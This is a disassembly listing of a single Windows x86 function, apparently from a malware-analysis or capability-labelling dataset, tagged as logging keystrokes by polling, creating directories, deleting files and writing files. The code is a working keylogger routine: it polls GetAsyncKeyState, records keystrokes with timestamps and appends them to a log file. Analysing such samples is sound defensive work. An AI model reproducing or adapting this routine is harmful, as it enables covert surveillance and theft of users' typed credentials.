Function at 0x100017a0
Capabilities:
Create directory
Delete file
Log keystrokes via polling
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10002308
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1024
call fcn.10002130
push ebx
push esi
push edi
xor esi, esi
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0xef0]
mov dword [ebp - 0xef4], esi
rep stosd dword es:[edi], eax
mov ecx, 0x96
lea edi, [ebp - 0x608]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x10], esp
push eax
mov dword [ebp - 0x18], esi
call dword [sym.imp.MSVCRT.dll_time]
mov ecx, dword [ebp - 0x18]
xor eax, eax
mov dword [ebp - 0x20], ecx
mov ecx, 0x40
lea edi, [ebp - 0x173]
mov byte [ebp - 0x174], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [ebp - 0x174]
push edx
stosb byte es:[edi], al
call fcn.10002060
mov ecx, dword [0x100048e8]
add esp, 8
lea eax, [ebp - 0xaf4]
push 0x104
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ebx, dword [sym.imp.MSVCRT.dll_strrchr]
lea edx, [ebp - 0xaf4]
push 0x5c
push edx
call ebx
add esp, 8
cmp eax, esi
je 0x1000185d
mov byte [eax + 1], 0
mov edi, 0x100047c8
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0xaf4]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor esi, esi
mov eax, dword [0x100048f8]
push 8
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x10001fb1
inc esi
cmp esi, 0x271
mov dword [ebp - 0x24], esi
jbe 0x10001b68
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x24], 0
push ecx
call dword [sym.imp.MSVCRT.dll_time]
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x18]
mov edx, eax
add esp, 4
sub edx, esi
cmp edx, 5
jle 0x10001b68
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x70]
lea ecx, [ebp - 0x174]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__stat]
add esp, 8
test eax, eax
jne 0x10001b68
cmp dword [ebp - 0x5c], 0x2710
jg 0x10001a06
mov al, byte [0x100048ec]
test al, al
jne 0x10001a06
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
mov edx, eax
sub edx, esi
cmp edx, 0x78
jle 0x10001b68
mov dword [ebp - 0x20], eax
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x3af]
mov byte [ebp - 0x3b0], 0
lea edx, [ebp - 0x3b0]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edi, [ebp - 0x174]
or ecx, 0xffffffff
xor eax, eax
push 0x5c
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x3b0]
push ecx
call ebx
add esp, 8
test eax, eax
je 0x10001983
mov byte [eax + 1], 0
mov edi, 0x100047c0
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x3b0]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0x3b0]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x100047b8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 0x1034]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x3b0]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x10001a06
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x10001b68
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x2ab]
mov byte [ebp - 0x2ac], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edi, [ebp - 0x174]
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [ebp - 0x1c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 0x20], edx
lea edx, [ebp - 0x2ac]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0x5c
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x2ac]
push ecx
call ebx
add esp, 8
test eax, eax
je 0x10001a64
mov byte [eax + 1], 0
mov edi, 0x100047c0
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x2ac]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [ebp - 0x2ac]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x1c]
push ecx
call dword [sym.imp.MSVCRT.dll_localtime]
push eax
push 0x100047a8
lea edx, [ebp - 0x1a8]
push 0x32
push edx
call dword [sym.imp.MSVCRT.dll_strftime]
lea edi, [ebp - 0x1a8]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x14
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x2ac]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [ebp - 0x2ac]
and ecx, 3
mov dword [ebp - 4], eax
rep movsb byte es:[edi], byte [esi]
mov edi, 0x100047a4
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x4c]
call fcn.10001210
lea eax, [ebp - 0x2ac]
lea ecx, [ebp - 0x174]
push eax
push ecx
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 1
call fcn.10001510
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 0
call fcn.10001240
lea ecx, [ebp - 0x174]
mov dword [ebp - 4], 0xffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.10001750
mov ebx, eax
test ebx, ebx
je 0x10001cc6
lea edi, [ebp - 0x608]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10001cad
lea edx, [ebp - 0x174]
push 0x100047a0
push edx
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x10001c9e
xor eax, eax
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x42], eax
push ecx
mov dword [ebp - 0x3e], eax
mov word [ebp - 0x44], 0
mov dword [ebp - 0x3a], eax
mov word [ebp - 0x36], ax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ecx, 0x7c
xor eax, eax
lea edi, [ebp - 0x7fb]
mov byte [ebp - 0x7fc], 0
rep stosd dword es:[edi], eax
mov edx, dword [0x100048f4]
mov ecx, dword [ebp - 0x3a]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp - 0x38]
push edx
mov edx, dword [ebp - 0x3c]
and eax, 0xffff
and ecx, 0xffff
push eax
mov eax, dword [ebp - 0x3e]
and edx, 0xffff
push ecx
mov ecx, dword [ebp - 0x42]
push edx
mov edx, dword [ebp - 0x44]
and eax, 0xffff
and ecx, 0xffff
push eax
and edx, 0xffff
push ecx
push edx
lea eax, [ebp - 0x7fc]
push 0x10004770
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea ecx, [ebp - 0x7fc]
push ecx
call fcn.100020d0
lea edi, [ebp - 0x7fc]
or ecx, 0xffffffff
xor eax, eax
push esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 1
lea edx, [ebp - 0x7fc]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_fwrite]
lea eax, [ebp - 0x608]
push eax
call fcn.100020d0
lea edi, [ebp - 0x608]
or ecx, 0xffffffff
xor eax, eax
push esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 1
push ecx
lea ecx, [ebp - 0x608]
push ecx
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x4c
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov ecx, 0x96
xor eax, eax
lea edi, [ebp - 0x608]
rep stosd dword es:[edi], eax
mov eax, dword [0x100048f4]
test eax, eax
je 0x10001cc0
push eax
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov dword [0x100048f4], ebx
mov dword [ebp - 0x14], 0
mov ebx, dword [sym.imp.USER32.dll_GetKeyState]
push 0x10
call ebx
mov edx, dword [ebp - 0x14]
movsx edi, ax
mov esi, dword [edx + 0x10004324]
push esi
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ah, 0x80
je 0x10001d84
push 0x14
call ebx
test ax, ax
je 0x10001d39
cmp edi, 0xffffffff
jle 0x10001d39
cmp esi, 0x40
jle 0x10001d39
cmp esi, 0x5b
jge 0x10001d39
mov dword [ebp + esi*4 - 0xef4], 1
jmp 0x10001f8f
push 0x14
call ebx
test ax, ax
je 0x10001d60
test edi, edi
jge 0x10001d74
cmp esi, 0x40
jle 0x10001d60
cmp esi, 0x5b
jge 0x10001d60
mov dword [ebp + esi*4 - 0xef4], 2
jmp 0x10001f8f
test edi, edi
jge 0x10001d74
mov dword [ebp + esi*4 - 0xef4], 3
jmp 0x10001f8f
mov dword [ebp + esi*4 - 0xef4], 4
jmp 0x10001f8f
mov edx, dword [ebp + esi*4 - 0xef4]
test edx, edx
je 0x10001f8f
xor ebx, ebx
cmp esi, 8
mov dword [ebp + esi*4 - 0xef4], ebx
jne 0x10001db1
lea edx, [ebp - 0x608]
mov edi, 0x10004768
jmp 0x10001f6a
lea edi, [ebp - 0x608]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 0x226
jbe 0x10001eed
lea eax, [ebp - 0x174]
push 0x100047a0
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
cmp esi, ebx
je 0x10001ed9
xor ecx, ecx
lea edx, [ebp - 0x34]
mov dword [ebp - 0x32], ecx
push edx
mov dword [ebp - 0x2e], ecx
mov word [ebp - 0x34], bx
mov dword [ebp - 0x2a], ecx
mov word [ebp - 0x26], cx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ecx, 0x7c
xor eax, eax
lea edi, [ebp - 0x9ef]
mov byte [ebp - 0x9f0], 0
rep stosd dword es:[edi], eax
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x2a]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x100048f4]
and ecx, 0xffff
push eax
mov eax, dword [ebp - 0x2c]
and edx, 0xffff
push ecx
mov ecx, dword [ebp - 0x2e]
and eax, 0xffff
push edx
mov edx, dword [ebp - 0x32]
push eax
mov eax, dword [ebp - 0x34]
and ecx, 0xffff
and edx, 0xffff
push ecx
and eax, 0xffff
push edx
push eax
lea ecx, [ebp - 0x9f0]
push 0x10004770
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edx, [ebp - 0x9f0]
push edx
call fcn.100020d0
lea edi, [ebp - 0x9f0]
or ecx, 0xffffffff
xor eax, eax
mov ebx, dword [sym.imp.MSVCRT.dll_fwrite]
repne scasb al, byte es:[edi]
not ecx
push esi
dec ecx
push 1
lea eax, [ebp - 0x9f0]
push ecx
push eax
call ebx
lea ecx, [ebp - 0x608]
push ecx
call fcn.100020d0
lea edi, [ebp - 0x608]
or ecx, 0xffffffff
xor eax, eax
push esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 1
lea edx, [ebp - 0x608]
push ecx
push edx
call ebx
add esp, 0x4c
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov ecx, 0x96
xor eax, eax
lea edi, [ebp - 0x608]
rep stosd dword es:[edi], eax
jmp 0x10001f8f
cmp esi, 0xd
je 0x10001f57
mov eax, dword [ebp - 0x14]
mov esi, 0x100045ec
mov edi, dword [eax + 0x100041a8]
mov eax, edi
mov bl, byte [eax]
mov cl, bl
cmp bl, byte [esi]
jne 0x10001f26
test cl, cl
je 0x10001f22
mov bl, byte [eax + 1]
mov cl, bl
cmp bl, byte [esi + 1]
jne 0x10001f26
add eax, 2
add esi, 2
test cl, cl
jne 0x10001f02
xor eax, eax
jmp 0x10001f2b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10001f64
mov eax, edx
and eax, 0x80000001
jns 0x10001f3d
dec eax
or eax, 0xfffffffe
inc eax
cmp eax, 1
je 0x10001f64
test eax, eax
jne 0x10001f8f
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x608]
mov edi, dword [eax + 0x1000402c]
jmp 0x10001f6a
lea edx, [ebp - 0x608]
mov edi, 0x1000475c
jmp 0x10001f6a
lea edx, [ebp - 0x608]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0x14]
add eax, 4
cmp eax, 0x17c
mov dword [ebp - 0x14], eax
jl 0x10001ccd
mov ebx, dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, dword [ebp - 0x24]
jmp 0x1000188f
mov eax, dword [0x100048f8]
test eax, eax
je 0x10001fc1
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov eax, 1
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret